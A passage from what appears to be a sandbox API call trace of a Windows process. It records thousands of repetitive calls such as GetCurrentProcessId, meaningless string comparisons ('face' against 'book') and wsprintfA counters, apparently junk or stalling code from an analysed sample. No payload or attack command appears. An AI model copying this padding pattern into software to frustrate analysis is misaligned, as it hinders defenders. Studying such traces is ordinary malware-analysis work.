wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="225F2P") returned 6 [0050.885] SetLastError (dwErrCode=0x12) [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] lstrlenA (lpString="just string") returned 11 [0050.885] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.885] GetLastError () returned 0x12 [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] lstrlenA (lpString="just string") returned 11 [0050.885] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.885] GetLastError () returned 0x12 [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] lstrlenA (lpString="just string") returned 11 [0050.885] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.885] GetLastError () returned 0x12 [0050.885] GetLastError () returned 0x12 [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] lstrlenA (lpString="just string") returned 11 [0050.885] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.885] GetLastError () returned 0x12 [0050.885] GetCurrentProcess () returned 0xffffffff [0050.885] GetLastError () returned 0x12 [0050.885] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="226C3P") returned 6 [0050.885] SetLastError (dwErrCode=0x12) [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] GetLastError () returned 0x12 [0050.885] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="226C4P") returned 6 [0050.885] SetLastError (dwErrCode=0x12) [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] lstrlenA (lpString="just string") returned 11 [0050.885] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.885] GetLastError () returned 0x12 [0050.885] GetLastError () returned 0x12 [0050.885] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="226F6P") returned 6 [0050.885] SetLastError (dwErrCode=0x12) [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] GetCurrentProcessId () returned 0x81c [0050.885] lstrlenA (lpString="just string") returned 11 [0050.886] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.886] GetLastError () returned 0x12 [0050.886] GetCurrentProcessId () returned 0x81c [0050.886] GetCurrentProcessId () returned 0x81c [0050.886] lstrlenA (lpString="just string") returned 11 [0050.886] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.886] GetLastError () returned 0x12 [0050.886] GetLastError () returned 0x12 [0050.886] GetCurrentProcessId () returned 0x81c [0050.886] GetCurrentProcessId () returned 0x81c [0050.886] lstrlenA (lpString="just string") returned 11 [0050.886] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.886] GetLastError () returned 0x12 [0050.886] GetLastError () returned 0x12 [0050.886] GetCurrentProcessId () returned 0x81c [0050.886] GetCurrentProcessId () returned 0x81c [0050.886] GetCurrentProcessId () returned 0x81c [0050.886] lstrlenA (lpString="just string") returned 11 [0050.886] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.886] GetLastError () returned 0x12 [0050.886] GetLastError () returned 0x12 [0050.886] lstrlenA (lpString="just string") returned 11 [0050.886] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.886] GetLastError () returned 0x12 [0050.886] GetLastError () returned 0x12 [0050.886] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.886] SetLastError (dwErrCode=0x12) [0050.886] GetCurrentProcess () returned 0xffffffff [0050.886] GetLastError () returned 0x12 [0050.886] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2280CP") returned 6 [0050.886] SetLastError (dwErrCode=0x12) [0050.886] GetCurrentProcessId () returned 0x81c [0050.886] GetCurrentProcess () returned 0xffffffff [0050.886] GetLastError () returned 0x12 [0050.886] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2280DP") returned 6 [0050.886] SetLastError (dwErrCode=0x12) [0050.886] GetCurrentProcessId () returned 0x81c [0050.886] GetLastError () returned 0x12 [0050.886] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2280EP") returned 6 [0050.886] SetLastError (dwErrCode=0x12) [0050.886] GetCurrentProcessId () returned 0x81c [0050.886] GetCurrentProcessId () returned 0x81c [0050.886] GetCurrentProcessId () returned 0x81c [0050.886] GetCurrentProcessId () returned 0x81c [0050.886] lstrlenA (lpString="just string") returned 11 [0050.886] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.886] GetLastError () returned 0x12 [0050.886] GetCurrentProcessId () returned 0x81c [0050.886] lstrlenA (lpString="just string") returned 11 [0050.886] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.886] GetLastError () returned 0x12 [0050.886] GetLastError () returned 0x12 [0050.886] GetLastError () returned 0x12 [0050.886] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.886] SetLastError (dwErrCode=0x12) [0050.886] GetCurrentProcess () returned 0xffffffff [0050.886] GetLastError () returned 0x12 [0050.886] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22884P") returned 6 [0050.886] SetLastError (dwErrCode=0x12) [0050.886] GetCurrentProcessId () returned 0x81c [0050.887] GetCurrentProcess () returned 0xffffffff [0050.887] GetLastError () returned 0x12 [0050.887] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22885P") returned 6 [0050.887] SetLastError (dwErrCode=0x12) [0050.887] GetCurrentProcessId () returned 0x81c [0050.887] GetLastError () returned 0x12 [0050.887] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22886P") returned 6 [0050.887] SetLastError (dwErrCode=0x12) [0050.887] GetCurrentProcessId () returned 0x81c [0050.887] GetCurrentProcessId () returned 0x81c [0050.887] GetCurrentProcessId () returned 0x81c [0050.887] GetCurrentProcessId () returned 0x81c [0050.887] lstrlenA (lpString="just string") returned 11 [0050.887] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.887] GetLastError () returned 0x12 [0050.887] GetLastError () returned 0x12 [0050.887] GetLastError () returned 0x12 [0050.887] GetCurrentProcessId () returned 0x81c [0050.887] lstrlenA (lpString="just string") returned 11 [0050.887] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.887] GetLastError () returned 0x12 [0050.887] GetLastError () returned 0x12 [0050.887] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.887] SetLastError (dwErrCode=0x12) [0050.887] GetCurrentProcess () returned 0xffffffff [0050.887] GetLastError () returned 0x12 [0050.887] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2291AP") returned 6 [0050.887] SetLastError (dwErrCode=0x12) [0050.887] GetCurrentProcessId () returned 0x81c [0050.887] GetCurrentProcess () returned 0xffffffff [0050.887] GetLastError () returned 0x12 [0050.887] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2291BP") returned 6 [0050.887] SetLastError (dwErrCode=0x12) [0050.887] GetCurrentProcessId () returned 0x81c [0050.887] GetLastError () returned 0x12 [0050.887] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2291CP") returned 6 [0050.887] SetLastError (dwErrCode=0x12) [0050.887] GetCurrentProcessId () returned 0x81c [0050.887] GetCurrentProcessId () returned 0x81c [0050.887] GetCurrentProcessId () returned 0x81c [0050.887] GetCurrentProcessId () returned 0x81c [0050.887] lstrlenA (lpString="just string") returned 11 [0050.887] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.887] GetLastError () returned 0x12 [0050.887] GetLastError () returned 0x12 [0050.887] GetCurrentProcess () returned 0xffffffff [0050.887] GetLastError () returned 0x12 [0050.887] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22957P") returned 6 [0050.887] SetLastError (dwErrCode=0x12) [0050.887] GetCurrentProcessId () returned 0x81c [0050.887] GetLastError () returned 0x12 [0050.887] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22958P") returned 6 [0050.887] SetLastError (dwErrCode=0x12) [0050.887] GetCurrentProcessId () returned 0x81c [0050.887] GetCurrentProcessId () returned 0x81c [0050.887] GetCurrentProcessId () returned 0x81c [0050.887] GetCurrentProcessId () returned 0x81c [0050.887] lstrlenA (lpString="just string") returned 11 [0050.887] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.887] GetLastError () returned 0x12 [0050.887] GetLastError () returned 0x12 [0050.888] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.888] SetLastError (dwErrCode=0x12) [0050.888] GetCurrentProcess () returned 0xffffffff [0050.888] GetLastError () returned 0x12 [0050.888] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2299CP") returned 6 [0050.888] SetLastError (dwErrCode=0x12) [0050.888] GetCurrentProcessId () returned 0x81c [0050.888] GetCurrentProcess () returned 0xffffffff [0050.888] GetLastError () returned 0x12 [0050.888] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2299DP") returned 6 [0050.888] SetLastError (dwErrCode=0x12) [0050.888] GetCurrentProcessId () returned 0x81c [0050.888] GetLastError () returned 0x12 [0050.888] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2299EP") returned 6 [0050.888] SetLastError (dwErrCode=0x12) [0050.888] GetCurrentProcessId () returned 0x81c [0050.888] GetCurrentProcessId () returned 0x81c [0050.888] GetCurrentProcessId () returned 0x81c [0050.888] GetCurrentProcessId () returned 0x81c [0050.888] lstrlenA (lpString="just string") returned 11 [0050.888] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.888] GetLastError () returned 0x12 [0050.888] GetCurrentProcessId () returned 0x81c [0050.888] lstrlenA (lpString="just string") returned 11 [0050.888] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.888] GetLastError () returned 0x12 [0050.888] GetLastError () returned 0x12 [0050.888] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.888] SetLastError (dwErrCode=0x12) [0050.888] GetCurrentProcess () returned 0xffffffff [0050.888] GetLastError () returned 0x12 [0050.888] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="229BAP") returned 6 [0050.888] SetLastError (dwErrCode=0x12) [0050.888] GetCurrentProcessId () returned 0x81c [0050.888] GetCurrentProcess () returned 0xffffffff [0050.888] GetLastError () returned 0x12 [0050.888] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="229BBP") returned 6 [0050.888] SetLastError (dwErrCode=0x12) [0050.888] GetCurrentProcessId () returned 0x81c [0050.888] GetLastError () returned 0x12 [0050.888] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="229BCP") returned 6 [0050.888] SetLastError (dwErrCode=0x12) [0050.888] GetCurrentProcessId () returned 0x81c [0050.888] GetCurrentProcessId () returned 0x81c [0050.888] GetCurrentProcessId () returned 0x81c [0050.888] GetCurrentProcessId () returned 0x81c [0050.888] lstrlenA (lpString="just string") returned 11 [0050.888] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.888] GetLastError () returned 0x12 [0050.888] lstrlenA (lpString="just string") returned 11 [0050.888] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.888] GetLastError () returned 0x12 [0050.888] GetCurrentProcessId () returned 0x81c [0050.888] GetCurrentProcessId () returned 0x81c [0050.888] lstrlenA (lpString="just string") returned 11 [0050.888] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.888] GetLastError () returned 0x12 [0050.888] GetLastError () returned 0x12 [0050.888] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22A34P") returned 6 [0050.888] SetLastError (dwErrCode=0x12) [0050.888] GetCurrentProcessId () returned 0x81c [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] lstrlenA (lpString="just string") returned 11 [0050.889] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.889] GetLastError () returned 0x12 [0050.889] GetLastError () returned 0x12 [0050.889] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.889] SetLastError (dwErrCode=0x12) [0050.889] GetCurrentProcess () returned 0xffffffff [0050.889] GetLastError () returned 0x12 [0050.889] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22A78P") returned 6 [0050.889] SetLastError (dwErrCode=0x12) [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] GetCurrentProcess () returned 0xffffffff [0050.889] GetLastError () returned 0x12 [0050.889] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22A79P") returned 6 [0050.889] SetLastError (dwErrCode=0x12) [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] GetLastError () returned 0x12 [0050.889] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22A7AP") returned 6 [0050.889] SetLastError (dwErrCode=0x12) [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] lstrlenA (lpString="just string") returned 11 [0050.889] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.889] GetLastError () returned 0x12 [0050.889] GetLastError () returned 0x12 [0050.889] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22AB6P") returned 6 [0050.889] SetLastError (dwErrCode=0x12) [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] lstrlenA (lpString="just string") returned 11 [0050.889] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.889] GetLastError () returned 0x12 [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] lstrlenA (lpString="just string") returned 11 [0050.889] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.889] GetLastError () returned 0x12 [0050.889] GetCurrentProcess () returned 0xffffffff [0050.889] GetLastError () returned 0x12 [0050.889] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22B19P") returned 6 [0050.889] SetLastError (dwErrCode=0x12) [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] GetLastError () returned 0x12 [0050.889] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22B1AP") returned 6 [0050.889] SetLastError (dwErrCode=0x12) [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] GetCurrentProcessId () returned 0x81c [0050.889] lstrlenA (lpString="just string") returned 11 [0050.889] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.889] GetLastError () returned 0x12 [0050.889] lstrlenA (lpString="just string") returned 11 [0050.889] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.889] GetLastError () returned 0x12 [0050.890] GetLastError () returned 0x12 [0050.890] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22B56P") returned 6 [0050.890] SetLastError (dwErrCode=0x12) [0050.890] GetCurrentProcessId () returned 0x81c [0050.890] GetCurrentProcessId () returned 0x81c [0050.890] GetCurrentProcessId () returned 0x81c [0050.890] GetCurrentProcessId () returned 0x81c [0050.890] lstrlenA (lpString="just string") returned 11 [0050.890] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.890] GetLastError () returned 0x12 [0050.890] GetLastError () returned 0x12 [0050.890] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22B60P") returned 6 [0050.890] SetLastError (dwErrCode=0x12) [0050.890] GetCurrentProcessId () returned 0x81c [0050.890] GetCurrentProcessId () returned 0x81c [0050.890] GetCurrentProcessId () returned 0x81c [0050.890] GetCurrentProcessId () returned 0x81c [0050.890] lstrlenA (lpString="just string") returned 11 [0050.890] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.890] GetLastError () returned 0x12 [0050.890] lstrlenA (lpString="just string") returned 11 [0050.890] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.890] GetLastError () returned 0x12 [0050.890] GetCurrentProcess () returned 0xffffffff [0050.890] GetLastError () returned 0x12 [0050.890] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22BB9P") returned 6 [0050.890] SetLastError (dwErrCode=0x12) [0050.890] GetCurrentProcessId () returned 0x81c [0050.890] GetLastError () returned 0x12 [0050.890] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22BBAP") returned 6 [0050.890] SetLastError (dwErrCode=0x12) [0050.890] GetCurrentProcessId () returned 0x81c [0050.890] GetCurrentProcessId () returned 0x81c [0050.890] GetCurrentProcessId () returned 0x81c [0050.890] GetCurrentProcessId () returned 0x81c [0050.890] lstrlenA (lpString="just string") returned 11 [0050.890] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.890] GetLastError () returned 0x12 [0050.890] lstrlenA (lpString="just string") returned 11 [0050.890] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.890] GetLastError () returned 0x12 [0050.890] lstrlenA (lpString="just string") returned 11 [0050.890] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.890] GetLastError () returned 0x12 [0050.890] lstrlenA (lpString="just string") returned 11 [0050.890] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.890] GetLastError () returned 0x12 [0050.890] GetLastError () returned 0x12 [0050.890] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.890] SetLastError (dwErrCode=0x12) [0050.890] GetCurrentProcess () returned 0xffffffff [0050.890] GetLastError () returned 0x12 [0050.890] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22CC6P") returned 6 [0050.890] SetLastError (dwErrCode=0x12) [0050.890] GetCurrentProcessId () returned 0x81c [0050.890] GetCurrentProcess () returned 0xffffffff [0050.890] GetLastError () returned 0x12 [0050.890] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22CC7P") returned 6 [0050.890] SetLastError (dwErrCode=0x12) [0050.890] GetCurrentProcessId () returned 0x81c [0050.890] GetLastError () returned 0x12 [0050.891] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22CC8P") returned 6 [0050.891] SetLastError (dwErrCode=0x12) [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] lstrlenA (lpString="just string") returned 11 [0050.891] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.891] GetLastError () returned 0x12 [0050.891] GetLastError () returned 0x12 [0050.891] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.891] SetLastError (dwErrCode=0x12) [0050.891] GetCurrentProcess () returned 0xffffffff [0050.891] GetLastError () returned 0x12 [0050.891] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22D34P") returned 6 [0050.891] SetLastError (dwErrCode=0x12) [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] GetCurrentProcess () returned 0xffffffff [0050.891] GetLastError () returned 0x12 [0050.891] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22D35P") returned 6 [0050.891] SetLastError (dwErrCode=0x12) [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] GetLastError () returned 0x12 [0050.891] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22D36P") returned 6 [0050.891] SetLastError (dwErrCode=0x12) [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] lstrlenA (lpString="just string") returned 11 [0050.891] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.891] GetLastError () returned 0x12 [0050.891] GetLastError () returned 0x12 [0050.891] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22D5EP") returned 6 [0050.891] SetLastError (dwErrCode=0x12) [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] lstrlenA (lpString="just string") returned 11 [0050.891] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.891] GetLastError () returned 0x12 [0050.891] GetCurrentProcess () returned 0xffffffff [0050.891] GetLastError () returned 0x12 [0050.891] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22D67P") returned 6 [0050.891] SetLastError (dwErrCode=0x12) [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] GetLastError () returned 0x12 [0050.891] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22D68P") returned 6 [0050.891] SetLastError (dwErrCode=0x12) [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] lstrlenA (lpString="just string") returned 11 [0050.891] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.891] GetLastError () returned 0x12 [0050.891] GetLastError () returned 0x12 [0050.891] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22D7CP") returned 6 [0050.891] SetLastError (dwErrCode=0x12) [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] GetCurrentProcessId () returned 0x81c [0050.891] GetCurrentProcessId () returned 0x81c [0050.892] GetCurrentProcessId () returned 0x81c [0050.892] lstrlenA (lpString="just string") returned 11 [0050.892] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.892] GetLastError () returned 0x12 [0050.892] GetLastError () returned 0x12 [0050.892] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22DAEP") returned 6 [0050.892] SetLastError (dwErrCode=0x12) [0050.892] GetCurrentProcessId () returned 0x81c [0050.892] GetCurrentProcessId () returned 0x81c [0050.892] GetCurrentProcessId () returned 0x81c [0050.892] GetCurrentProcessId () returned 0x81c [0050.892] lstrlenA (lpString="just string") returned 11 [0050.892] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.892] GetLastError () returned 0x12 [0050.892] GetLastError () returned 0x12 [0050.892] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.892] SetLastError (dwErrCode=0x12) [0050.892] GetCurrentProcess () returned 0xffffffff [0050.892] GetLastError () returned 0x12 [0050.892] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22DD4P") returned 6 [0050.892] SetLastError (dwErrCode=0x12) [0050.892] GetCurrentProcessId () returned 0x81c [0050.892] GetCurrentProcess () returned 0xffffffff [0050.892] GetLastError () returned 0x12 [0050.892] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22DD5P") returned 6 [0050.892] SetLastError (dwErrCode=0x12) [0050.892] GetCurrentProcessId () returned 0x81c [0050.892] GetLastError () returned 0x12 [0050.892] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22DD6P") returned 6 [0050.892] SetLastError (dwErrCode=0x12) [0050.892] GetCurrentProcessId () returned 0x81c [0050.892] GetCurrentProcessId () returned 0x81c [0050.892] GetCurrentProcessId () returned 0x81c [0050.892] GetCurrentProcessId () returned 0x81c [0050.892] lstrlenA (lpString="just string") returned 11 [0050.892] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.892] GetLastError () returned 0x12 [0050.892] GetCurrentProcessId () returned 0x81c [0050.892] lstrlenA (lpString="just string") returned 11 [0050.892] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.892] GetLastError () returned 0x12 [0050.892] GetCurrentProcessId () returned 0x81c [0050.892] GetCurrentProcessId () returned 0x81c [0050.892] GetCurrentProcessId () returned 0x81c [0050.892] lstrlenA (lpString="just string") returned 11 [0050.892] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.892] GetLastError () returned 0x12 [0050.892] GetLastError () returned 0x12 [0050.892] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.892] SetLastError (dwErrCode=0x12) [0050.892] GetCurrentProcess () returned 0xffffffff [0050.892] GetLastError () returned 0x12 [0050.892] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22E74P") returned 6 [0050.892] SetLastError (dwErrCode=0x12) [0050.892] GetCurrentProcessId () returned 0x81c [0050.892] GetCurrentProcess () returned 0xffffffff [0050.892] GetLastError () returned 0x12 [0050.892] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22E75P") returned 6 [0050.892] SetLastError (dwErrCode=0x12) [0050.893] GetCurrentProcessId () returned 0x81c [0050.893] GetLastError () returned 0x12 [0050.893] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22E76P") returned 6 [0050.893] SetLastError (dwErrCode=0x12) [0050.893] GetCurrentProcessId () returned 0x81c [0050.893] GetCurrentProcessId () returned 0x81c [0050.893] GetCurrentProcessId () returned 0x81c [0050.893] GetCurrentProcessId () returned 0x81c [0050.893] lstrlenA (lpString="just string") returned 11 [0050.893] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.893] GetLastError () returned 0x12 [0050.893] GetCurrentProcessId () returned 0x81c [0050.893] GetCurrentProcessId () returned 0x81c [0050.893] lstrlenA (lpString="just string") returned 11 [0050.893] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.893] GetLastError () returned 0x12 [0050.893] lstrlenA (lpString="just string") returned 11 [0050.893] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.893] GetLastError () returned 0x12 [0050.893] GetLastError () returned 0x12 [0050.893] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22EC6P") returned 6 [0050.893] SetLastError (dwErrCode=0x12) [0050.893] GetCurrentProcessId () returned 0x81c [0050.893] GetCurrentProcessId () returned 0x81c [0050.893] GetCurrentProcessId () returned 0x81c [0050.893] GetCurrentProcessId () returned 0x81c [0050.893] lstrlenA (lpString="just string") returned 11 [0050.893] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.893] GetLastError () returned 0x12 [0050.893] lstrlenA (lpString="just string") returned 11 [0050.893] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.893] GetLastError () returned 0x12 [0050.893] GetCurrentProcessId () returned 0x81c [0050.893] lstrlenA (lpString="just string") returned 11 [0050.893] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.893] GetLastError () returned 0x12 [0050.893] GetLastError () returned 0x12 [0050.893] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.893] SetLastError (dwErrCode=0x12) [0050.893] GetCurrentProcess () returned 0xffffffff [0050.893] GetLastError () returned 0x12 [0050.893] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22F64P") returned 6 [0050.893] SetLastError (dwErrCode=0x12) [0050.893] GetCurrentProcessId () returned 0x81c [0050.893] GetCurrentProcess () returned 0xffffffff [0050.893] GetLastError () returned 0x12 [0050.893] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22F65P") returned 6 [0050.893] SetLastError (dwErrCode=0x12) [0050.893] GetCurrentProcessId () returned 0x81c [0050.893] GetLastError () returned 0x12 [0050.893] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22F66P") returned 6 [0050.893] SetLastError (dwErrCode=0x12) [0050.893] GetCurrentProcessId () returned 0x81c [0050.893] GetCurrentProcessId () returned 0x81c [0050.893] GetCurrentProcessId () returned 0x81c [0050.893] GetCurrentProcessId () returned 0x81c [0050.893] lstrlenA (lpString="just string") returned 11 [0050.893] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.893] GetLastError () returned 0x12 [0050.893] GetLastError () returned 0x12 [0050.894] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.894] SetLastError (dwErrCode=0x12) [0050.894] GetCurrentProcess () returned 0xffffffff [0050.894] GetLastError () returned 0x12 [0050.894] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22F82P") returned 6 [0050.894] SetLastError (dwErrCode=0x12) [0050.894] GetCurrentProcessId () returned 0x81c [0050.894] GetCurrentProcess () returned 0xffffffff [0050.894] GetLastError () returned 0x12 [0050.894] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22F83P") returned 6 [0050.894] SetLastError (dwErrCode=0x12) [0050.894] GetCurrentProcessId () returned 0x81c [0050.894] GetLastError () returned 0x12 [0050.894] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22F84P") returned 6 [0050.894] SetLastError (dwErrCode=0x12) [0050.894] GetCurrentProcessId () returned 0x81c [0050.894] GetCurrentProcessId () returned 0x81c [0050.894] GetCurrentProcessId () returned 0x81c [0050.894] GetCurrentProcessId () returned 0x81c [0050.894] lstrlenA (lpString="just string") returned 11 [0050.894] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.894] GetLastError () returned 0x12 [0050.894] GetCurrentProcessId () returned 0x81c [0050.894] lstrlenA (lpString="just string") returned 11 [0050.894] lstrcmpA 